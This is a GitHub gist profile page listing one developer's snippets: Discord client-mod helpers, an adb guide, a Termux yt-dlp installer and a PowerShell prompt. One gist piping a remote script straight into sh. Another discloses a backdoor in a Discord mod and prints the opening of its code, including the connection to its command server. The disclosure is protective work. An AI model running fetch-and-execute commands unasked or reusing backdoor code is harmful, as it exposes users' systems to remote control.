Skip to content

Instantly share code, notes, and snippets.

View Vendicated's full-sized avatar
🏳️‍🌈
read if cute

V Vendicated

🏳️‍🌈
read if cute
View GitHub Profile
@Vendicated
Vendicated / vanced_samsung_fix.md
Last active February 10, 2021 20:45
Guide to uninstall Vanced or Vanced Music using adb

Fix INSTALL_FAILED_UPDATE_INCOMPATIBLE error using adb

The Android Debug Bridge (adb) is a really useful tool to interface with your phone from a Terminal on your Pc. It is an official Android debugging tool made by Google.

In order to use it on your phone, you will first have to enable USB debugging:

  • Enable Developer Options. You can do so by going to Settings > About Phone and tapping Build Number 7 times
  • Now go to Settings > System > Developer options and enable Usb Debugging
@Vendicated
Vendicated / guide.md
Last active June 16, 2021 18:03
Install powercord with the discord-canary-electron-bin package

this process used to be a lot more complicated because powercord didn't work on electron versions above 10 (check gist revisions) but now it's super simple. Refer to powercord-org/powercord#442 (comment)

@Vendicated
Vendicated / index.js
Last active March 12, 2023 17:59
discord_arch_electron stream fix
const electron = require("electron");
const { join } = require("path");
class BrowserWindow extends electron.BrowserWindow {
constructor(options) {
if (options?.webPreferences?.preload && options.title) {
// Replace Discords preload script with our own
process.env.DISCORD_PRELOAD = options.webPreferences.preload;
options.webPreferences.preload = join(__dirname, "preload.js");
@Vendicated
Vendicated / WebpackSearchWorker.js
Last active November 4, 2022 14:15
Discord Webpack Search with a WebWorker
if (typeof wreq === "undefined") {
var wreq = webpackChunkdiscord_app.push([[Symbol()], {}, w => w]);
webpackChunkdiscord_app.pop();
}
function makeWebpackSearchWorker() {
// Step 1: Build Export and Code map to pass to the worker.
// This is because you can't serialise functions, so we have to transform webpack first
var exportMap = {};
@Vendicated
Vendicated / README.md
Last active November 5, 2022 18:16
Set up yt-dlp in termux, allowing you to share any video to termux with the Android share menu to download it
curl https://gist.githubusercontent.com/Vendicated/63efda0ad96f707a3ba290f1aa2e8a86/raw/termux-ytdl.sh | sh -
@Vendicated
Vendicated / Z_DiscordNative.example.ts
Last active January 13, 2023 15:26
Generate a typescript Interface from any object (does not support circular references)
interface RootObject {
isRenderer: boolean;
setUncaughtExceptionHandler: (...args: any[]) => any;
nativeModules: {
ensureModule: (...args: any[]) => any;
requireModule: (...args: any[]) => any;
canBootstrapNewUpdater: boolean;
};
process: {
platform: string;
@Vendicated
Vendicated / Acord Backdoor.js
Last active March 20, 2023 12:17
Acord Eval Backdoor
// This code can be found in Acord's code in an obfuscated form. Just search for the socket url or one of the atob strings and you will
// find it.
// Permament Link to their Repo (they might delete this):
// https://github.com/AcordPlugin/releases/blob/4944d811f1c5e228c219d4966c5436bdfc6639d3/fixture/extension.js
// Permament Link (fork):
// https://github.com/Vendicated/acord-is-malware/blob/main/fixture/extension.js
// Archive Link:
// https://web.archive.org/web/20230115234723/https://github.com/AcordPlugin/releases/blob/4944d811f1c5e228c219d4966c5436bdfc6639d3/fixture/extension.js
const connection = socketIo.connect("https://socket.acord.app/", { autoConnect: !1, reconnection: !0, transports: ["websocket"] });
@Vendicated
Vendicated / README.md
Last active February 10, 2023 23:36
Minimal Powershell Prompt

image

Uses NerdFont's git branch icon so a Nerd patched font is needed (or just remove the $([char]0xe725))

.emoji[alt="🥹"] {
content: url("https://vendicated.github.io/random-files/face_holding_back_tears.svg");
}
.emoji[alt="🥺"] {
content: url("https://vendicated.github.io/random-files/pleading_face.svg");
}
@Vendicated
Vendicated / min-sized-rust.md
Created May 8, 2023 21:59
🦀 How to minimize Rust binary size 📦